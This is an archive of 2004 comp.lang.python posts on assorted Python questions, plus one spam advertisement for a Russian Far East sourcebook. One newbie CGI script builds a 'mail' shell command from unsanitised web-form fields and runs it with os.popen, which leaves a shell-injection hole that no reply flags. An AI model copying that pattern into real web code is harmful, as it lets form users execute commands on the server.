Message-ID: <c0e48d$jbs$1@absinth.dialog.net.pl>

"Benjamin Han" <this at is.for.spambot> wrote in message
news:2004021111431416807%this at isforspambot...

> Thanks for the tip - the default queue size is 5. I've since changed it
> into 100 (much more than what it actually needs), but the original
> problem remains.

I don't really think that your OS supports
so big backlog queues.

Stach



From harry.g.george at boeing.com  Fri Feb 27 03:47:47 2004
From: harry.g.george at boeing.com (Harry George)
Date: Fri, 27 Feb 2004 08:47:47 GMT
Subject: Python component model
References: <064s309lklji1mua00nr7v1p17bc30m7jp@4ax.com>
Message-ID: <xqxsmgw6h8s.fsf@cola2.ca.boeing.com>

Chuck Spears <Chuck at spears.com> writes:

> Does python have a component model?
> 
> I'm currently using delphi and C++ builder to build windows apps and I
> am looking to also support linux.  They seem to be waffling on their
> linux support so I am looking for alternatives.
> 
> The thing that makes delphi powerful is being able to link visual
> components to do things like datasets (Infopower), web pages
> (Intraweb), report writing, etc.  I can build client/server apps in
> delphi in days.  There are also powerful components for multi-tier
> apps like kbmmw and RemoteObjects.  
> 
> I've written a few small applications in python/Qt and see great
> potential in the language but frankly without a solid IDE and good
> component framework, I doubt I would use it for large corporate
> applications.  I'm no VB hack, I have 13 years of c and c++ experience
> but why would I waste my time hand coding database/multitier
> applications in C++ when such powerful tools exist to do the plumbing
> for me?
> 
> I've used pyQT but that isn't exactly what I had in mind.  I want more
> than a forms designer and a python layer on top of a GUI library.  I
> want full blown component model written in python (C++ underneath is
> fine) where I can extend the built in components or write my own.  
> 
> I love what i've seen of python so far.  I also realise the component
> model can be developed independent of the core python system.  I was
> just wondering if anything like that is being worked on.
> 
> 
> Thanks,
> Mike

If components means cross-platform, cross-language, cross-vendor
interoperable units of functionality, Python has components.  Or
rather, it is a willing participant in the various available
mechanisms such as sockets, async sockets, CORBA, SOAP, XMLRPC, and
XPCOM.

If components means lots of products (OSS and COTS) which work
together when "imported" to a main script, then the answer is yes.
Pyro gives remote access.  QT, KDE, Gtk, Gnome, FLTK, wx and others
provide gui's.  Webware, twisted, and others give "server" mechanisms.
Bindings to Oracle, DB2, MySQL, Sqlite, Postgresql,, dbm, etc. give
database support.  And of course the basic install gives all the std
net protocols.

If components means a visual programming IDE, then look at Black Adder
for the gui.  But I question reliance on a visual drag-and-drop for
python work.  The sematics have to be solved anyway, and the raw
python can be faster and cleaner than an IDE.

-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From bob at redivi.com  Sun Feb 29 15:38:31 2004
From: bob at redivi.com (Bob Ippolito)
Date: Sun, 29 Feb 2004 15:38:31 -0500
Subject: Speed Comparison Perl Python & C
References: <c1t89m$a3u$1@solaris.cc.vt.edu>
	<1Np0c.10708$C65.3685@nwrddc01.gnilink.net>
	<c1thc8$1uq$1@solaris.cc.vt.edu>
Message-ID: <2004022915383137709%bob@redivicom>

On 2004-02-29 15:19:52 -0500, Bart Nessux <bart_nessux at hotmail.com> said:

> David Lees wrote:
> 
>> Bart Nessux wrote:
>>> Just fooling around this weekend. Wrote and timed programs in C, Perl and
>>> Python. Each Program counts to 1,000,000 and prints each number to the
>>> console as it counts. I was a bit surprised. I'm not an expert C or Perl
>>> programming expery, I'm most familiar with Python, but can use the others
>>> as well.
>>> 
>>> Here are my results:
>>> 
>>> C = 23 seconds
>>> Python = 26.5 seconds
>>> Perl = 34.5 seconds
>>> 
>>> Here are the programs:
>>> 
>>> -------------------------
>>> #The C version:
>>> -------------------------
>>> 
>>> #include <stdio.h>
>>> 
>>> int main(void)
>>> {
>>> int x = 0;
>>> while (x < 1000000) {
>>> printf("%d \n", x++);
>>> }
>>> }
>>> 
>>> -------------------------
>>> #The Python version:
>>> -------------------------
>>> 
>>> #!/usr/bin/python
>>> 
>>> x = 0
>>> while x < 1000000:
>>> x = x + 1
>>> print x
>>> 
>>> -------------------------
>>> #The Perl version:
>>> -------------------------
>>> 
>>> #!/usr/bin/perl -Tw
>>> 
>>> use strict;
>>> 
>>> my $x = 0;
>>> while($x < 1000000) {
>>> print $x++, "\n";
>>> }
>>> 
>>> What do you guys think of this? I don't know enough about Perl & C, and
>>> perhaps Python, to know if this was indeed a fair test. I thought C would
>>> do this much faster than it did. Any ideas?
>>> 
>>> 
>>> 
>>> 
>> I don't think your times have much to do with the languages.  They are
>> just how long whatever I/O library is used by a particular language
>> takes.  I would guess that the loop overhead is small compared with the
>> I/O formatting and output times in your example.
>> 
>> You should do a Google search on 'Python+benchmarks'.  Benchmarking is
>> tricky and you need to consider what you are trying to compare.
>> 
>> David Lees
> 
> Thanks, I was trying to do something very similar in each language. Just
> wanted to see how fast they could do this, nothing more. I expected the
> order of the results to be c, python and then perl, and I expected c to be
> the *clear* winner. I don't know that much about programming... that's why
> I have all these false notions in my head about speed.

The true notion of speed is that it's relative.  In general, don't 
worry too much about it until it becomes a problem, or until you have a 
lot of free time to go optimizing things that *already work*.  
Premature optimization is just about as bad as it sounds.

-bob



From fred.mailhot at videotron.ca  Thu Feb 19 16:16:08 2004
From: fred.mailhot at videotron.ca (Fred Mailhot)
Date: Thu, 19 Feb 2004 13:16:08 -0800
Subject: Newbie CGI confusion...
Message-ID: <BC5A6798.11123%fred.mailhot@videotron.ca>

I'm trying to write a script that will mail some data from a web-based form
to me, using the "mail" command (under Linux). The following illustrates the
crux of what I'm doing:


#!/usr/bin/python

import os,time,cgi

#################################
# get the data from the form    #
#################################
formdata = cgi.FieldStorage()

#################################
# open log file & write header  #
#################################
logfile = open('<SOME FILE>','a')
logfile.write('\n*************************** ')
logfile.write(time.strftime("%a, %d %b %Y %H:%M:%S +0000",time.localtime()))
logfile.write(' ***************************\n')


####################
# send data to log #
####################
for name in formdata.keys():
        logfile.write(formdata[name].value + '\n')


#########################################
# create shell command to send mail     #
#########################################
usrmail = "%s" % formdata['email'].value
usrmesg = "Sender: %s\n\n%s" % (formdata['user'].value,
formdata['comments'].value)
ccaddr  = "fred.mailhot at videotron.ca"
subject = "SMT Website User Feedback"
toaddr  = "tilde at math.com"

cmdstring = 'mail -c %s -s "%s" -r %s %s' % (ccaddr, subject, usrmail,
toaddr)

os.popen(cmdstring,'w').write(usrmesg)

######## end code snippet #############

So. The script works and the relevant information is mailed, EXCEPT that the
body of the message is included as an attachment of unknown type. When I
execute the shell command from the command line, there's no problem.

Why is Python doing this ??  (or is it something else entirely that I'm not
understanding?)


Many thanks,

Fred.



From jcarlson at nospam.uci.edu  Sun Feb  8 14:04:36 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 08 Feb 2004 11:04:36 -0800
Subject: software design question
In-Reply-To: <c057uq$4ph$1@news.rz.uni-karlsruhe.de>
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<c03h78$dfc$1@news.service.uci.edu>
	<c03ris$c2t$2@news.rz.uni-karlsruhe.de>
	<c04je2$d66$1@news.service.uci.edu>
	<c057uq$4ph$1@news.rz.uni-karlsruhe.de>
Message-ID: <c061ci$la2$1@news.service.uci.edu>

> Almost. I want to write software from components. I want a simple, yet clear
> and effective interface for the components to communicate with eachother.
> The components will be dynamically loaded. If available they have to fit
> like a piece in a puzzle, if ther're unavailable all related functionality
> will be unavailable - *not* raise exceptions or cause program abortion,
> etc.

Design your interface, and write your program around your interface. 
Here's one:

#main
import submodule

class data_storehouse:
     pass

passer = data_storehouse()
passer.error = None
passer.main = main
#etc.

def caller(*args, **kwargs):
     passer.args = args
     passer.kwargs = kwargs

     submodule(passer)
     if passer.error:
         #handle the error


This is essentially another user was doing with their "Singleton()" 
interface, though they created a bottom-level module to hold all 
application-wide information.


> I simply cannot pass all components to all others, because I don't yet know
> which components there might be.

So you only pass the ones you know about when writing your application. 
  When functionality A gets created, before component B, likely 
functionality A won't require component B.  If you discover later that 
it does, then you modify functionality A to use component B.  You can't 
magically get away from this.


> Having a single global name space is poor software design. It makes you not
> having to think about "inter module communication", because there is none
> to take care of, because you can call virtually everything from everywhere.

Of course it is.  It also doesn't scale very well, though Python 
namespaces (dictionaries) don't seem to have issues with pollution, it 
can get unweidly to handle.


>>There is another kludge:
> 
> [...]
> 
>>I would suggest you just put everything into a single file.  500 lines
>>is not that large.  Heck, a few thousand isn't even that bad, as long as
>>you pay attention to what you are doing and use an editor with a
>>browsable source tree/class heirarchy, and comment liberally.
> 
> Wow! You can't seriously suggest this as a software design recommendation! 

The kludge, no.  That's why I called it a kludge.  You can propagate 
namespaces without a problem, and you don't even have to worry about the 
Python import mechanisms.  It ends up with the same functionality as 
having a single module, without having a single module.


> Importing the complete namespace from one module into another is exactly
> what will cause you fourty hours of debugging code afterwards.

I never said it was a good idea.


> Do you think there is a reason why in Java every class got to be put into
> one source file - or is this just a bad language restriction?
> Don't get me wrong, I'm not critisizing Python here.

I don't know, I never thought about it, because I never learned Java.  I 
was in the last year they taught C/C++.

Thinking about it now, I think it is a poor language restriction.  Being 
able to have a half-dozen classes with related functionality in a single 
module is /very/ convenient.  Check out the threading or itertools 
modules.  Imagine having to use threading.Thread.Thread or 
itertools.imap.imap, those would be annoying and useless bubbles.

> A <==> B
> 
> Suggestion 1:
> 
> A1 ==> B ==> A2
> A1 ========> A2
> 
> Suggestion 2:
> 
> A2 ==> B2 ==> A1 ==> B1
> A2 =========> A1     B1
>        B2 =========> B1

You can still end up SOL if A1 requires functionality from A2.  You 
still have a circular dependency.  As the sibling reply by John Roth says,
    "this doesn't always work in practice.  Another term for hierarchical
    design is layered architecture. The rule in a layered architecture is
    'call down, notify up.' It's the higherlayer's  esponsibility to call
    down to install callbacks so that the lower layer can notify up at
    run time."

John says the truth.
  - Josiah


From tjreedy at udel.edu  Mon Feb 16 12:45:09 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 16 Feb 2004 12:45:09 -0500
Subject: [OPINION] - does language really matter if they all do
	the	samething?
References: <69A0D4AB81C51447AD6BA387782B8D64093D8A@midl-mail4.etcconnect.com>
	<028FD9F0-4E01-11D8-BB78-0003934ACDEC@zdome.net>
	<4011C497.1040302@prescod.net>
	<mailman.726.1074923000.12720.python-list@python.org>
	<7xznbj8lwb.fsf@ruckus.brouhaha.com>
Message-ID: <SbydneGrcec4nKzdRVn-sA@comcast.com>


"Paul Rubin" <http://phr.cx at NOSPAM.invalid> wrote in message
news:7xznbj8lwb.fsf at ruckus.brouhaha.com...
> Dietrich Epp <dietrich at zdome.net> writes:
> > My Lisp project related to an RPG and random generation of items.
> > It had lots of code like the following:
> >
> > (defun random-sword-magic-power (quality)
> >    (choose-random-assoc
> >      quality (poor medium good)
> >      ((5 0 0) (glows-in-the-dark))
> >      ((3 3 0) (magically-silent))
> >      ((1 5 1) (elemental-power (select-random '(earth water air
fire))))
> >      ((0 2 4) (magical-keen-edge))
> >      ((0 0 2) (append (random-sword-magic-power 'medium)
> >                       (random-sword-magic-power 'medium)))))
> > ...
> > I'm not trying to say that all applications are like my application,
> > and I'm not trying to say that my application can't be written in
> > Python.  I'm just saying that using macros, a paradigm that Python
> > doesn't even come close to supporting, makes reading and writing
> > functions like the above a lot easier.  You don't even need to know
> > that 'choose-random-assoc' is a macro, you just need to know how to
> > use it.  Heck, defun is a macro in Clisp.
>
> I don't understand why choose-random-assoc needs to be a macro instead
> of a function in the above example.

In order to avoid infinite recursion of random-sword-magic-power without
explicitly stating the base case (which is buried in the unpublished
macro).  See my last posts on this thread where I missed that also and then
added the line that makes the Python function version work.

>
> > I challenge anyone to come up with a better way to express the above
> > function in Python.  If I think it's better, I'll write "PYTHON RULZ"
> > on my forehead and post a photo on the web.
>
> This doesn't look too bad:
>
> def random_sword_magic_power (quality):
>   prob_list = [(5, 0, 0, power.glows_in_the_dark),
>                (3, 3, 0, power.magically_silent),
>                (1, 5, 1, power.elemental_power,
>                            random.choice(('earth','water','air','fire))),
>                (0, 2, 4, power.magical_keen_edge),
>                (0, 0, 2, random_sword_magic_power('medium') +
>                            random_sword_magic_power('medium'))]

You have no base case that I see to stop the recursion.

>   quality_level = ('poor', 'medium', 'good').index(quality)
>   return [weighted_random_choice(quality_level, prob_list)]

Terry J. Reedy




From newell at rfebook.com  Mon Feb  9 12:47:42 2004
From: newell at rfebook.com (Josh Newell)
Date: Monday, 9 Feb 2004 12:47:42
Subject: Need info on Chukotka?
Message-ID: <70da76ca-a1eb-4a5b-b281-8a60bf383a72@IETF.ORG>

A floating nuclear powerplant along the northern coast of Chukotka&  Plans to develop gold and offshore oil deposits...Maps of Chukotka s major towns and infrastructure& .Prospects for the region& .A complete catalog of the flora and fauna& ..Color Maps and photos& .



Wouldn t it be nice to find all this information in one place? Well, you can. Get the most comprehensive reference guide on the Russian Far East to emerge in a decade: www.rfebook.com. You can download a free sample chapter, see photos, read reviews, and much more. 



 If you are from academia, government, industry, or civil society, you will find this sourcebook a valuable companion indeed.



 Order it directly from the author (http://www.rfebook.com/) and receive 25% off and free shipping!



 



 Sincerely,



 



 Josh Newell



newell@rfebook.com





 


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From peter at engcorp.com  Fri Feb 13 13:42:48 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 13 Feb 2004 13:42:48 -0500
Subject: Embeded Linux and Python
References: <dcde6f.0402130931.45c0e2b0@posting.google.com>
Message-ID: <402D1AA8.23169C30@engcorp.com>

Jens Thiede wrote:
> 
> I want to use python heavily on my embeded linux. What would the best
> way be to slim down Python. Only keep those modules you would
> acctually need, and not imparing Python's capabilities?
> 
> Previous experiance would be greatly appreciated,

What kinds of constraints do you have as to memory or storage space?

We had Python running once on a 1MB RAM/1MB Flash machine, but eventually
the difficulties involved pushed us to a larger processor which had 32MB
RAM and 64MB Compact Flash (which is several times more than we actually
need by the way).  Both of these were embedded systems.

Generally I believe the cost of maintaining a specialized version of 
Python such as what we first had would be larger than the cost of just
buying better/larger hardware.  Our volumes are very low, however, so
perhaps you would weight things differently.

-Peter


From mcfletch at rogers.com  Wed Feb 25 05:26:05 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 25 Feb 2004 05:26:05 -0500
Subject: Py_BuildValue format code for unsigned int ?
In-Reply-To: <c1hrm1$92r$1@nets3.rz.RWTH-Aachen.DE>
References: <c1hrm1$92r$1@nets3.rz.RWTH-Aachen.DE>
Message-ID: <403C783D.9070302@rogers.com>

*PyLong_FromUnsignedLong to get a PyObject * to a Python long object, 
then use the N format to steal the reference you're creating with 
**PyLong_FromUnsignedLong.

HTH,
Mike
*
Helmut Jarausch wrote:

> Hi,
>
> is there a format code to return an unsigned int to Python via 
> Py_BuildValue? Just using code 'i' gives negative values for values 
> greater than 2**31.
>
> I've tried the code 'I' (with python 2.4 cvs) but that's not accepted.
>
> Many thanks for a hint,
>
> ---
> Helmut Jarausch
> RWTH-Aachen University
> Germany


-- 
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From anton at vredegoor.doge.nl  Tue Feb 24 16:44:44 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Tue, 24 Feb 2004 22:44:44 +0100
Subject: Transitivity and direction of "binding" (was Re: Comments
	requested: brief summary of Python)
References: <mailman.50.1077643494.8594.python-list@python.org>
	<103n58pid8eh566@corp.supernews.com>
	<403BA2F0.CD017A8F@engcorp.com>
Message-ID: <403bc5c9$0$134$3a628fcd@reader2.nntp.hccnet.nl>

Peter Hansen <peter at engcorp.com> wrote:

>Is it "binding the object to the name", or is it "binding the name
>to the object".  
>
>Or both?  
>
>Or neither?  
>
>Why?
>
>And does it matter? ;-)
>
>(Seriously though...)

IMHO this depends on whether one sees the set of currently unnamed
Python objects as existing in some form or another inside the garbage
collection namespace or as residing in a space of unbroken symmetries
where they can be lifted out of by describing their shape.

In the first case objects have a kind of Platonic existence even
*before* they are bound to a name, and the name binding process just
provides us with a reference to this object. For example if there is
an object with name 'a' and value 1 then the operation of adding 1 to
this name is not changing the value of the Platonic object 1 into 2
but instead the name 'a' is now bound to *another* unchangeable
Platonic object, in this case the object with value 2.

This is confusing C-programmers endlessly since they are expecting to
change the value of some memory location while having the name 'a'
point to this same location invariably, until explicit instructions
change that.

In the second case where Python objects are seen as "created" by
carving them out of the undefined background space of the universe
there is even more room for confusion. 

The Python interpreter cannot execute magic or create information out
of raw quantum uncertainties because it has to operate within a
limited memory and computing environment. So it just stamps out
objects according to some template, fooling us into thinking that the
objects could have every conceivable shape, while in fact there are
serious limitations. 

Next it tries to hide that fact instantly and acts as if everything is
all right and we live in the nice and overseeable Platonic universe
that was described before.

So, well, yes, it does matter, but not here but for example in
newsgroups as comp.ai.philosophy where subjects like mental
representations -finding the cells in your brain that code for your
grandmother- are much more current than here on comp.lang.python.

The chance of finding the actual representation of an object inside
the Python interpreters' underlying hardware is much better than
solving the comp.ai.philosophy problems because of the less flexible
stamping mechanism the interpreter uses compared to humans. 

That may well change in the future however and we might have to deal
with the same humunculi as the philosophers have to concern themselves
with. Until then we assume that we live in a Platonic universe and can
use unit testing to scare the occasional hidden bug out of our code,
fully aware that it's our computer that really runs the interpreter,
but it will let us tinker for just a few more moments ...

Anton



From vedranf at riteh.hr  Fri Feb 27 15:25:45 2004
From: vedranf at riteh.hr (Vedran Furac)
Date: Fri, 27 Feb 2004 20:25:45 +0000 (UTC)
Subject: python and multimedia
Message-ID: <slrnc3v9u8.dnp.vedranf@rijeka.riteh.hr>

Is there any modules dealing with multimedia (it needs to be portable
between windows and linux). I didn't found anything useful. 
For audio I need something to play mp3s (and ogg), extract frames,
basic sound editing and effects. For video I need to play mpeg1,2,4, encode,
decode it, basic editing and frames extracting. Also I need something to
capture video from tuner. I found fastaudio (portaudio), pyffmpeg (ffmpeg)
pyVidCapture. But it lacks of documentation and I don't know if it even
works...demo/test.py doesn't (at least for me).
http://www.freenet.org.nz/python/pyPortAudio/
http://207.34.118.42/~john/pyffmpeg/
Any suggestions?

Sorry for my bad english.


From mlh at furu.idi.ntnu.no  Fri Feb 13 17:45:32 2004
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Fri, 13 Feb 2004 22:45:32 +0000 (UTC)
Subject: Opinions wanted on Atox indentation scheme
Message-ID: <slrnc2qksc.hcr.mlh@furu.idi.ntnu.no>

Not many members on the Atox mailing list yet, so I'll venture a
request here...

In Atox 0.2, I've added support for indentation tokens (somewhat like
the Python indentation scheme, but a bit more relaxed). If anyone
finds that sort of thing interesting, please have a look and give me
your opinion -- does it seem like a useful way of dealing with this
sort of thing?

(It seems that lookahead is more sorely needed with indentation, to
avoid left-factoring of the grammars; because, with left-factoring one
will skip over the indentation before getting to the main block
element, such as list item or code block, and for code blocks, for
example, the indentation should be left in...)

As this is a fairly specific question, I don't expect many answers; it
is more meant as an invitation to have a look.

- M

-- 
Magnus Lie Hetland           "The mind is not a vessel to be filled,
http://hetland.org            but a fire to be lighted."  [Plutarch]


From fuka at fuxoft.cz  Sun Feb  1 14:18:15 2004
From: fuka at fuxoft.cz (Frantisek Fuka)
Date: Sun, 01 Feb 2004 20:18:15 +0100
Subject: JPG - PNG conversion problem
In-Reply-To: <4wbTb.104084$f97.62358@fe3.columbus.rr.com>
References: <mailman.796.1075125724.12720.python-list@python.org>
	<4wbTb.104084$f97.62358@fe3.columbus.rr.com>
Message-ID: <bvjjcs$1e3g$1@ns.felk.cvut.cz>

Mark Borgerding wrote:
> Raaijmakers, Vincent (GE Infrastructure) wrote:
> 
>> Who can explain the huge increase in size when I convert a JPG into a 
>> PNG format using PythonMagick:
>> I read the JPG from a video server and has a resolution of 352x240, 
>> size is about 15k
>> After my PNG conversion and resizing the resolution to 160*120, the 
>> size is 64k!!
> 
> Is the output png a color palette image?  See if you can get acceptable 
> results by limiting the color palette to 256 colors or so.

The problem (although it's hard to call this "problem") is that PNG is 
losless format, whereas JPG is not. What you are doing is akin to 
converting JPGs to BMP or TIF.

-- 
                                          Frantisek Fuka
(yes, that IS my real name)
(and it's pronounced "Fran-tjee-shek Foo-kah")
----------------------------------------------------
My E-mail:   fuka at fuxoft.cz
My Homepage: http://www.fuxoft.cz
My ICQ:      2745855


From jmeile at hotmail.com  Thu Feb 12 11:18:13 2004
From: jmeile at hotmail.com (Josef Meile)
Date: Thu, 12 Feb 2004 17:18:13 +0100
Subject: str.find for multiple strings
References: <c0drlj$hsj$1@solaris.cc.vt.edu> <402A7FDC.8D47A02B@engcorp.com>
	<c0e0u6$p8g$1@solaris.cc.vt.edu>
Message-ID: <402ba745$1@pfaff2.ethz.ch>

Hi,

looking at your code is obvious that what you want to do
is to look for servers on the "ath_ips.txt" file and then
comment the line where they appear. I think this search
and replace function can be done with regular expressions
(see the re module). The servers belong to the same
network, and only the two left digits are different.

Regards,
Josef


"Bart Nessux" <bart_nessux at hotmail.com> wrote in message
news:c0e0u6$p8g$1 at solaris.cc.vt.edu...
> Peter Hansen wrote:
> > Bart Nessux wrote:
> >
> >>x = str.find(temp, '120.50')
> >>
> >>I am looking for '120.50' '120.51' '122.78' etc. How can I do this with
> >>just one str.find... I can use re if I must, but I'd like to avoid it if
> >>possible.
> >
> >
> > In addition to Fecundo's questions, here's another.  What does "temp"
> > contain?  A single temperature string, or a temperature embedded in
> > a bunch of other stuff, or a whole series of temperatures, or what?
> >
> > -Peter
>
> Here's what I'm doing
>
> def exclude():
>     import os
>     os.chdir('/home/rbt/scripts')
>     inputFile = file('ath_ips.txt', 'r')
>     data = inputFile.read()
>     inputFile.close()
>     comment = '#'
>     net0 = '128.173.120.'
>     net1 = '128.173.122.'
>     host0 = ['50','51','52','53','54','55']
>     host1 = ['17','25','49','50','55','58','70']
>     for h0 in host0:
>        h0 = net0+h0
>        rep0 = comment+h0
>        sea0 = str.find(data, h0)
>        if sea0 >=0:
>           data = data.replace(h0, rep0)
>     for h1 in host1:
>        h1 = net1+h1
>        rep1 = comment+h1
>        sea1 = str.find(data, h1)
>        if sea1 >=0:
>           data = data.replace(h1, rep1)
>     outputFile = file('ath_ips.txt', 'w')
>     outputFile.write(data)
>     outputFile.close()




From __peter__ at web.de  Tue Feb 17 06:19:47 2004
From: __peter__ at web.de (Peter Otten)
Date: Tue, 17 Feb 2004 12:19:47 +0100
Subject: Retrieving classes from a module...
References: <c0smr7$2gmr$1@news.uit.no> <c0snhp$1eg$03$1@news.t-online.com>
	<c0snv1$2h2b$1@news.uit.no>
Message-ID: <c0stcj$3b7$07$1@news.t-online.com>

Thomas Aanensen wrote:

>> >>> pyclbr.readmodule("csv").keys()
>> ['Dialect', 'DictReader', 'excel', 'excel_tab', 'DictWriter', 'Sniffer']
> 
> Tanks. But I already knew about that one.
> 
> The problem is that it returns all the calsses from the imported modules
> aswell. I ONLY want the names of the classes declared in the specific
> module..
> 
> 
> Any ideas?

Don't pollute your namespace with from module import * :-)

>>> pyclbr.readmodule("testpyclbr").keys()
['Dialect', 'Dummy', 'DictReader', 'excel', 'excel_tab', 'DictWriter',
'Sniffer']

Now filter out the extra classes:

>>> [c.name for c in pyclbr.readmodule("testpyclbr").values() if
os.path.basename(c.file) == "testpyclbr.py"]
['Dummy']

Peter



From mcfletch at rogers.com  Wed Feb 18 07:02:50 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 18 Feb 2004 07:02:50 -0500
Subject: [Admin Script] Backing up your SourceForge project CVS
Message-ID: <4033546A.6000608@rogers.com>

Attached is a simple little script.  It automates downloading nightly 
CVS tarballs for multiple projects from SourceForge (you do back up your 
project's CVS, don't you? (And if you're like me, you find going through 
the web interface to get the tarball for each project is a pain.))  It's 
by no means a particularly complex script, but no reason for everyone 
(well, everyone with lots of projects to maintain) to re-invent the wheel.

At the moment the projects to download, and the directory to which to 
download are coded as variables in the script.  If you pass in 
command-line arguments it'll treat each one as a project and download to 
the current directory.

Just for the record, on Win2K, to schedule weekly downloads of the set 
of projects encoded in the script:

    Y:\>at 06:47 /interactive /EVERY:W c:\bin\lang\py23\python.exe 
d:\pylive\sourceforgebackup.py

Have fun all,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/


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From no at sp.am  Tue Feb 24 12:45:13 2004
From: no at sp.am (DH)
Date: Tue, 24 Feb 2004 11:45:13 -0600
Subject: Session CGI!
In-Reply-To: <ba129ce7.0402240734.1bd0143d@posting.google.com>
References: <ba129ce7.0402211010.231375d7@posting.google.com>
	<30260531.0402211543.d810721@posting.google.com>
	<ba129ce7.0402220052.283012ce@posting.google.com>
	<crvl30dj3mduqo8rbl1qqgij7mj9r87tng@4ax.com>
	<ba129ce7.0402240734.1bd0143d@posting.google.com>
Message-ID: <ufOdnUCfSsA0EKbd4p2dnA@comcast.com>

John wrote:

> I am not looking for magic. What I am looking for is an elegant
> solution to manage session info like in ASP/PHP, both of which have
> doing this for quite a while. It's hardly exotic. It has been a couple
> of years since I last used ASP, but I think it was session("var") =
> value in ASP. Can't be simpler than that. Similar stuff in PHP
> session_register. It manages Client side Cookies under the hood. Nicer
> if the session info is maintained as server side cookies with a unique
> SessionID. At this point, I do not know if that can be done. Sessions
> are important for me since the site is membership based.
> 
> All these nice and comprehensive Python web app framewoks I looked at
> so far DO have session support but need additional ports to be open or
> act their own servers. 


You want session cookies stored as temp files instead of in a database.

To do it with Quixote see the session persistence section here and the 
session_demo.cgi file included with Quixote:
http://www.mems-exchange.org/software/quixote/doc/session-mgmt.html

Spyce is a little more like ASP & PHP, see this doc, esp. the auto- 
session handling part, which can work with or without cookies:
http://spyce.sourceforge.net/doc-mod_session.html


From andrew-pythonlist at puzzling.org  Wed Feb 18 19:10:38 2004
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Thu, 19 Feb 2004 11:10:38 +1100
Subject: Modifying builtin type behaviour
In-Reply-To: <20040217161749.GA6130@nl.linux.org>
References: <56e1eff0.0402121015.2de0d427@posting.google.com>
	<20040217161749.GA6130@nl.linux.org>
Message-ID: <20040219001038.GF1782@frobozz>

On Tue, Feb 17, 2004 at 05:17:49PM +0100, Gerrit wrote:
> Jean-S?bastien Bolduc wrote:
> > I'm afraid this is a silly question, to which I know the answer
> > already. But let me ask anyway...
> > 
> > In Python, is there a way to modify a builtin type's methods? for
> > instance, modifying int.__add__ to behave as multiplication, I would
> > obtain 2+5 == 10. I emphasize that I don't want to modify the Python
> > source, but change the types behaviour _from within Python_.
> 
> Why?

Yes, why?  There's a decent chance you can do what you want without
modifying builtin types.

> > Help would be appreciated!
> 
> I'm almost sure it isn't possible...

Anything is possible, given sufficient quantities of evil:

    http://www.intarweb.us:8080/evil/intrinsics.c
    http://www.intarweb.us:8080/evil/intrinsics_example.py
    http://www.intarweb.us:8080/PyCon/intrinsics-lightning-0.xhtml
    
-Andrew.




From michele.simionato at poste.it  Fri Feb 13 13:04:50 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 13 Feb 2004 10:04:50 -0800
Subject: Modifying builtin type behaviour
References: <56e1eff0.0402121015.2de0d427@posting.google.com>
Message-ID: <95aa1afa.0402131004.6fae6145@posting.google.com>

jseb at cs.mcgill.ca (Jean-S?bastien Bolduc) wrote in message news:<56e1eff0.0402121015.2de0d427 at posting.google.com>...
> I'm afraid this is a silly question, to which I know the answer
> already. But let me ask anyway...
> 
> In Python, is there a way to modify a builtin type's methods? for
> instance, modifying int.__add__ to behave as multiplication, I would
> obtain 2+5 == 10. I emphasize that I don't want to modify the Python
> source, but change the types behaviour _from within Python_.
> 
> Help would be appreciated!

There is no way of doing what you asked in Python, since Guido thinks 
it is a Bad Idea (TM). He is probably right; on the other hand, Matz,
the creator of Ruby, thinks it is a good idea, so you may want to check
Ruby for this kind of games. In Python you need to subclass int to
modify its methods, which is probably not what you want.

   Michele Simionato


From this at is.for.spambot  Tue Feb 10 16:36:12 2004
From: this at is.for.spambot (Benjamin Han)
Date: Tue, 10 Feb 2004 16:36:12 -0500
Subject: server bootstrapping upon connection (WARNING: LONG)
References: <ef08387c.0402100854.7c03b60c@posting.google.com>
	<86fzdiydpu.fsf@stronzo.brainbot.com>
Message-ID: <2004021016361216807%this@isforspambot>

On 2004-02-10 13:46:37 -0500, ralf at brainbot.com said:

> fortepianissimo at yahoo.com.tw (Fortepianissimo) writes:
>> The problem: I need to prevent multiple copies of the server being
>> started. I did this by using file locking (fcntl.lockf()). However,
>> not every time the code successfully prevented the server being
>> started up more than one time. Here is the relevant code:
> 
> When using fcntl.lockf different FooClient instances in the same
> process will be able lock the file and start another server. You could
> either use fcntl.flock to prevent that or use some global flag.

Hm... I didn't know there's a difference between flock() and lockf(), 
and I didn't get much info from the document either. Could you explain 
a bit on why lockf() would not lock the file?

Actually I wrote a tiny script just to test if lockf() does what it 
claims to do:

--- CODE STARTS ---
#!/usr/bin/env python

import os,fcntl,sys

print "* about to open flock.txt"
f=open('flock.txt','w')
print "* opened the file"
fcntl.lockf(f.fileno(),fcntl.LOCK_EX|fcntl.LOCK_NB)
print "* obtained the lock, enter your line below:"
l=sys.stdin.readline()
f.truncate()
f.write(l)
f.flush()
sys.stdin.readline()
f.close()

--- CODE ENDS ---

It seems it does lock the file? (Mac OS X 10.3.2).

> Also be sure to keep the file open by keeping a reference to it
> (i.e. self.serverStartLock=open(...)). For debugging purposes, remove 
> that 'if self.connect(): return' and
> I think you'll see much more servers being started.

--- CODE SNIPPET STARTS ---
class FooClient:
    def __init__ (self, startServer=True):
        """Connects to FooServer if it exists, otherwise starts it and 
connects to it"""
        self.connected=True
        if self.connect(): return
        elif not startServer:
            if FOO_CLIENT_DEBUG: log('connection failed 1')
            self.connected=False
            return
..
--- CODE SNIPPET ENDS ---

Well in that case every connection will try to start a server. Good 
point on keeping a reference to the lock file though - I'll add to it 
and see what happens.

>> 
